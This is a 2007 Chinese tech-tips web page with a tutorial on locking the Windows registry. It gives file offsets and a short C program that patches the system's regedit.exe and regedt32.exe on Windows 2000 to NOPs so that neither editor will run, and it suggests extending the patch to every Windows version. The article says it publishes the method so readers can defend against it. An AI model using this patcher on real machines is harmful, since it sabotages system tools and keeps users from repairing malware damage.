文章分类 | 推荐文章 | 最新文章 | 热点文章 | 最新软件 | 精品软件 | 下载排行 | 推荐下载 | 免费看大片 | WPS | 杀毒软件
清风网络
首 页 软件下载 网络学院 数码学院
QQ 电脑入门 游戏 操作系统 图形处理 办公软件 媒体动画 精文荟萃 工具软件 网络编程 程序开发 网络技术 认证考试 网站建设 文章专栏
当前位置:清风网络学院操作系统 注册表注册表终极操作—锁定注册表
精品推荐
特别推荐
·自动播放光碟
·解决注册表被锁问题100%有效的办法
·深入剖析恶意攻击性网页-注册表全攻略
·修改注册表,清除黑客程序
·Vista 105个禁止功能的注册表条目
·妙用注册表来清理系统垃圾文件
·更改系统收藏夹路径的三种方法
·用注册表和组策略管好网络设置
·Windows隐蔽的清理注册表垃圾方法
·取消开机检查磁盘的三种方法
·Windows中用注册表来调整输入法的次序
·注册表进行系统限制的优化和设置
·应用技巧 用注册表强化网上邻居
·注意正确的 I E卸载与重装方法
·快速修复被篡改的IE浏览器的代码
·2000、XP、2003下木马、病毒防范之注册表权限设置法
·加载XX.dll时出错的一般解决方法
·修改注册表:为硬盘逻辑分区添加背景图片
·重装操作系统后 怎样找寻失落的注册码
·注册表背后的秘密
热点TOP10
·绝对好用的注册表技巧
·常用注册表设置
·注册表知识:HKEY_LOCAL_MACHINE根键详解
·注册表应用100例—注册表使用全攻略之十一
·禁止使用网上邻居
·注册表背后的秘密
·重装操作系统后 怎样找寻失落的注册码
·修改注册表,清除黑客程序
·如何修改注册表--我来教你
·注册表基础—注册表使用全攻略之一
·Windows注册表修改实例完全手册(下)
·注册表修改大全之XP
·菜鸟必须掌握 如何隐藏电脑硬盘分区
·修改Windows注册表系统文件为宽带加速
·添加或删除启动时自动运行的程序
·妙用注册表来清理系统垃圾文件
·取消开机检查磁盘的三种方法
·自动播放光碟
·深入剖析恶意攻击性网页-注册表全攻略
·注册表进行系统限制的优化和设置

注册表终极操作—锁定注册表

日期:2007年4月4日 作者: 查看:[大字体 中字体 小字体]


  你有没有遇到注册表被锁定,无法打开注册表来手工修复呢?很多人都为这个头疼吧,相信你被锁定一次就知道他的操作原理了:

  修改[HKEY_CURRENT_USER\Software\
Microsoft\Windows\Current
Version\Policies\System]下的DisableRegistryTools值为1

  解锁的方法也有几种,比如程序用API函数调用注册表直接删除,做一个REG文件直接导入,写一个脚本…………

  今天我就教大家写个程序来实现另类锁定,是不是很好奇了?跟我来。

  实验环境:windows2000
  实验目的:锁定注册表(本方法利用了Cracker的思路来实现,直接让程序修改程序指令,使调用注册表程序禁止。)
  实现方法:C程序

  首先我们要按照Cracker的思路反汇编WINNT下的regedit.exe和regedt32.exe找到跳转指令,怎么得到这些信息不是我们今天的目的,这里我就不详细介绍了,以下是我反汇编找到的跳转地址:
  1.regedit.exe
偏移地址:0x69CA 将指令:0x74 0x1A 修改成:0x90 0x90

  2.regedt32.exe
偏移地址:0x10bf2 将指令:0x74 0x52 修改成:0x90 0x90

  现在我们用程序把这2个偏移地址的指令给修改成0x90 0x90 ( 0x90代表nop,就是让程序什么也不做,执行下一条指令)让我们看看程序是如何实现的吧。

#include
#include
bool scanreg(const char *file,long offset, int length,char *the); /*函数说明*/

main()
{
char the[]={ 0x90,0x90 };
scanreg("C:\\WINNT\\regedit.exe",0x69CA,0x02,the); /*调用函数修改winnt下的regedit.exe 其中的0x02是修改长度*/
scanreg("C:\\WINNT\\ServicePackFiles\\i386\\regedit.exe",0x69CA,0x02,the); /*调用函数改变补丁下regedit.exe*/
scanreg("C:\\WINNT\\system32\\regedt32.exe",0x10bf2,0x02,the); /*调用函数修改system32下的regedt32.exe */
scanreg("C:\\WINNT\\ServicePackFiles\\i386\\regedt32.exe",0x10bf2,0x02,the); /*调用函数改变补丁下regedt32.exe*/
}
bool scanreg(const char *file,long offset, int length,char *the)
{
FILE *fp = NULL;
bool result=false;
if((fp=fopen(file,"rb+"))!=NULL) /*打开文件进行读写操作*/
{
fseek(fp,offset,1); /*把指针指向我们定义的偏移地址*/
fwrite(the,length,1,fp); /*修改程序,把指令替换成0x90*/
fclose(fp); /*关闭文件*/
result=true;
}
return(result);
}

  好了,我这里只是一个示范,只适合2000系统,把windows每种系统的注册表调用程序都分析一下,然后在程序开始用API函数GetVersionEx(LPOSVERSIONINFO lpVersionInfo)判断系统,根据判断的系统来调用相应的修改函数。那不是通杀windows了?上面把方法公布出来,以便大家做好防范。

(出处:清风网络学院






上一篇:禁止IE自动更新(WINXP不适用)

下一篇:修改注册表让文件彻底隐藏

注册表终极操作—锁定注册表 相关文章:
·操作电脑最忌的十八个小动作
·菜鸟必看:WinXP终极优化
·绝对好用的注册表技巧
·苹果操作系统精选
·快马加鞭 20秒进入Win XP操作系统
·注册5连号QQ
·《人工少女2》操作指南 - 游戏手册
·高手进阶,终极内存技术指南——完整/进阶版
·Windows XP另类操作技巧
·破解程序及注册机使用方法
注册表终极操作—锁定注册表 相关软件:
·诺顿杀毒软件+诺顿防火墙免费破解版 免注册
·RegVac Registry Cleaner(注册表吸尘器)V5.01.06 汉化版
·超级自动注册申请王 V3.0
·电脑上网实用操作教程
·终极刺客 2 沉默杀手完美硬盘版
·零起点教你如何破解软件和制作注册机 and 视频+程序
·沸腾家园 新东方背单词4-目前最好的背单词软件(免注册) 查看
·中文操作系统windows XP
·中国注册会计师独立审计准则 汉英对照
·终极刺客 血钱硬盘版

特别声明:本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载,但请务必注明出处和原始作者。文章版权归文章原始作者所有。对于被本站转载文章的个人和网站,我们表示深深的谢意。如果本站转载的文章有版权问题请联系编辑人员,我们尽快予以更正。
[打印本页] [关闭窗口] 转载请注明来源:http://www.vipcn.net
| 帮助(?) | 版权声明 | 友情连接 | 关于我们 | 信息发布
Copyright 2007 www.vipcn.net All Rights Reserved. 鄂ICP备05000083号Powered by:viphot